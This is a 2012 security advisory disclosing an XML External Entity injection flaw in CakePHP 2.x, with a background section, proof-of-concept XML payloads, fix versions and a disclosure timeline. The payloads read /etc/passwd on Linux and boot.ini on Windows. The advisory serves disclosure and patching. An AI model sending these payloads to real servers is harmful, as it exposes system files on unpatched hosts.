CakePHP 2.x < 2.2.0-RC2 - XML External Entity Injection

# Exploit title: CakePHP XXE injection
# Date: 01.07.2012
# Software Link: http://www.cakephp.org
# Vulnerable version: 2.x - 2.2.0-RC2
# Tested on: Windows and Linux
# Author: Pawel Wylecial
# http://h0wl.pl
1. Background

Short description from the project website: "CakePHP makes building web applications simpler, faster and require less code."

2. Vulnerability

CakePHP is vulnerable to XML eXternal Entity injection. The class responsible for building XML (it uses PHP SimpleXML) does allow local file inclusion.

3. Proof of Concept

Linux:
<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///etc/passwd" >]>
<request>
  <xxe>&payload;</xxe>
</request>

Windows:
<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///C:/boot.ini" >]>
<request>
  <xxe>&payload;</xxe>
</request>

4. Fix

Fix applied in version 2.2.1 and 2.1.5. See official security release:
http://bakery.cakephp.org/articles/markstory/2012/07/14/security_release_-_cakephp_2_1_5_2_2_1

5. Timeline

1.07.2012 - vulnerability reported
13.07.2012 - response from CakePHP
14.07.2012 - confirmed and fix release